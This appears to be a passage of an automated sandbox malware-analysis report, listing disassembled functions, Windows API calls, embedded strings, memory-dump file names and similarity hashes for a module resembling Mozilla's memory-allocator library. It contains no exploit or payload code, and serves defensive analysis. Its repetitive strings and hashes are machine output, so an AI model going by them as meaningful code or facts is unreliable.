GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CB1E810,00000040), ref: 6CAC97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1E7B8,00001388), ref: 6CAC9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1E744,00001388), ref: 6CAC984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1E784,00001388), ref: 6CAC9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1E7DC,00001388), ref: 6CAC9895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAC99BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAC9993
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAC9BF4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAC99D2
<jemalloc>, xrefs: 6CAC9B33, 6CAC9BE3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAC9933, 6CAC9A33, 6CAC9A4E
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAC70C4, 6CAC70DE, 6CAC892F
MOZ_CRASH(), xrefs: 6CAC9B42
upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CAC7248
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAC99A8
Compile-time page size does not divide the runtime one., xrefs: 6CAC9B38
MALLOC_OPTIONS, xrefs: 6CAC97CA

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 4047164644-4103538827
Opcode ID: d231cf797e41c36fcb6f881d29eef3f644c7db572c3cd277bd9966b20aaabc96
Instruction ID: 923646b31d684801ca7754342d1aa67338a6793bbf1e0bcebf1995910b68715f
Opcode Fuzzy Hash: d231cf797e41c36fcb6f881d29eef3f644c7db572c3cd277bd9966b20aaabc96
Instruction Fuzzy Hash: 15535D71B057018FD704CF29C581615BBE1BF89328F29C6ADE869DBB91D771E881CB82

Function 6CAD0DD0 Relevance: 87.4, APIs: 36, Strings: 12, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAD0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CAD0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CAD0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CAD1031
LeaveCriticalSection.KERNEL32(?), ref: 6CAD10D0
EnterCriticalSection.KERNEL32(?), ref: 6CAD117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CAD1C39
EnterCriticalSection.KERNEL32(6CB1E744), ref: 6CAD3391
LeaveCriticalSection.KERNEL32(6CB1E744), ref: 6CAD33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CAD3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD3437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAD37BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAD3793
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAD3A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAD37D2
<jemalloc>, xrefs: 6CAD3941, 6CAD39F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAD3559, 6CAD382D, 6CAD3848
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAD0E46, 6CAD0E62, 6CAD0E93, 6CAD2738
MOZ_CRASH(), xrefs: 6CAD3950
upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CAD0FC5
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAD37A8
Compile-time page size does not divide the runtime one., xrefs: 6CAD3946
MALLOC_OPTIONS, xrefs: 6CAD35FE

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 3040639385-4103538827
Opcode ID: 52d23667b331250f2f91e73793c6e80d601baf4e6f24a4e464c4dd5c0c44cc6b
Instruction ID: a832752c71bd07c01f887e0d41a2da185f75acae5b04735fbe0a3810ebe0d323
Opcode Fuzzy Hash: 52d23667b331250f2f91e73793c6e80d601baf4e6f24a4e464c4dd5c0c44cc6b
Instruction Fuzzy Hash: 8F535B71A167018FD304CF29C544615BBF1BF89328F2AC76DE8A99BB91D771E881CB81

Function 6CAF55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CACE1A5), ref: 6CAF5606
LoadLibraryW.KERNEL32(gdi32,?,6CACE1A5), ref: 6CAF560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAF5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAF563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAF566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAF567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAF5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAF56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAF56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAF56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAF56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAF5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAF572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAF5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAF5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAF577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAF5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAF57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAF57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAF57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAF57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAF57FF

Strings

CreateWindowExW, xrefs: 6CAF56C5
user32, xrefs: 6CAF5601
RegisterClassW, xrefs: 6CAF56AC
LoadCursorW, xrefs: 6CAF5774
AreDpiAwarenessContextsEqual, xrefs: 6CAF5637
FillRect, xrefs: 6CAF5729
GetMonitorInfoW, xrefs: 6CAF57A2
gdi32, xrefs: 6CAF560A
CreateSolidBrush, xrefs: 6CAF57E4
StretchDIBits, xrefs: 6CAF57CC
GetThreadDpiAwarenessContext, xrefs: 6CAF562D
GetDpiForWindow, xrefs: 6CAF5690
SetWindowLongPtrW, xrefs: 6CAF57B7
EnableNonClientDpiScaling, xrefs: 6CAF5666
DeleteObject, xrefs: 6CAF57F9
LoadIconW, xrefs: 6CAF575B
ShowWindow, xrefs: 6CAF56DE
ReleaseDC, xrefs: 6CAF5742
SetWindowPos, xrefs: 6CAF56F7
GetSystemMetricsForDpi, xrefs: 6CAF5677
MonitorFromWindow, xrefs: 6CAF578D
GetWindowDC, xrefs: 6CAF5710

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c8201c3914cc462fafd8fe35720392b6bccf0e3829d012d15e6548d2547e9e7c
Instruction ID: 3d22511de59427c15fc8db677c8b2405afd4b3931a53bf91f2af2b23cc159d14
Opcode Fuzzy Hash: c8201c3914cc462fafd8fe35720392b6bccf0e3829d012d15e6548d2547e9e7c
Instruction Fuzzy Hash: 875175B5B117469BDB009F358D0992A3BF9AB06755B148829F921E3F42EF74CC41CFA0

Function 6CAF34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3EE2

Part of subcall function 6CAF6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CAF61DD
Part of subcall function 6CAF6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CAF622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF4157

Part of subcall function 6CAF6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAF6250
Part of subcall function 6CAF6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAF6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF4896
free.MOZGLUE ref: 6CAF489F

Strings

, xrefs: 6CAF4CD2

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 8513b2ded1ba2b2e3aba4a0c8e86815e0857dd9d4bb36df13bd375a0252bbd16
Instruction ID: 917951a58fbdcc714ac74a617aab40dd8d6c79bf700a1c81bc7e0b8ed68886dc
Opcode Fuzzy Hash: 8513b2ded1ba2b2e3aba4a0c8e86815e0857dd9d4bb36df13bd375a0252bbd16
Instruction Fuzzy Hash: 96F25B74908B808FC725CF28C18469AFBF1FFCA344F158A5EE99997751DB319886CB42

Function 6CAC60A0 Relevance: 53.6, APIs: 22, Strings: 8, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAC60C9
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAC610D
EnterCriticalSection.KERNEL32(?), ref: 6CAC618C
LeaveCriticalSection.KERNEL32(?), ref: 6CAC61F9

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CAC6B6A
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAC674A
<jemalloc>, xrefs: 6CAC6AA9, 6CAC6B59
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAC6BC7, 6CAC6F97, 6CAC6FB2
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAC6442
MOZ_CRASH(), xrefs: 6CAC6AB8
Compile-time page size does not divide the runtime one., xrefs: 6CAC6AAE
MALLOC_OPTIONS, xrefs: 6CAC6888

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu
API String ID: 3168844106-1222999870
Opcode ID: 9ae804845dc640936a8771cc48819af8afb9641b5850ab342f5659bec7ceabc9
Instruction ID: ccfd29f0d50b6265e1e664e4a4d0fa6de86afe63d93d3c0886d1b85c2f9a88bb
Opcode Fuzzy Hash: 9ae804845dc640936a8771cc48819af8afb9641b5850ab342f5659bec7ceabc9
Instruction Fuzzy Hash: 39A29C71B096418FD708CF18C554629BBF1FB85328F29C66DE869DBB91C771E881CB82

Function 6CAA64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAA64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAA64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAA6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAA6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAA652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA671C
GetCurrentProcess.KERNEL32 ref: 6CAA6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAA672F
GetCurrentProcess.KERNEL32 ref: 6CAA6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAA6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAA6A80
GetSystemInfo.KERNEL32(?), ref: 6CAA6ABE
__Init_thread_footer.LIBCMT ref: 6CAA6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAA6798
nvdxgiwrap.dll, xrefs: 6CAA6513
_etoured.dll, xrefs: 6CAA64ED
detoured.dll, xrefs: 6CAA64DA
nvd3d9wrap.dll, xrefs: 6CAA6500
user32.dll, xrefs: 6CAA6526

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bccbf0b542c06f597ed58346c205b780a3a45c90f03d1c2e5d010acc9da2ff9b
Instruction ID: 59443249f8200ea1d928191a550fe717d6a220ee4734ae0a147b0539ef315412
Opcode Fuzzy Hash: bccbf0b542c06f597ed58346c205b780a3a45c90f03d1c2e5d010acc9da2ff9b
Instruction Fuzzy Hash: 32F1E371A052198FDB20CFA8CD48B9AB7B5AF05318F1842D9D819E3B41D731AEC6CF91

Function 6CAAFD00 Relevance: 35.9, APIs: 17, Strings: 6, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAAFF81
LeaveCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAB022D
VirtualAlloc.KERNEL32(?,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,00001000,00000004), ref: 6CAB0240
EnterCriticalSection.KERNEL32(6CB1E768), ref: 6CAB025B
LeaveCriticalSection.KERNEL32(6CB1E768), ref: 6CAB027B

Strings

pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAB08D6
<jemalloc>, xrefs: 6CAB0D62, 6CAB0D76, 6CAB0DA7
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAAFF9E, 6CAB023A, 6CAB0285, 6CAB05CB, 6CAB08DD, 6CAB08F8, 6CAB0915, 6CAB091C, 6CAB0D4C
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAAFE99, 6CAAFEB7, 6CAAFED3, 6CAB0DB8, 6CAB0DD3, 6CAB19B4
: (malloc) Error in VirtualFree(), xrefs: 6CAB0D67, 6CAB0D7B, 6CAB0DAC
upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CAB0561, 6CAB05A2, 6CAB07AC

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
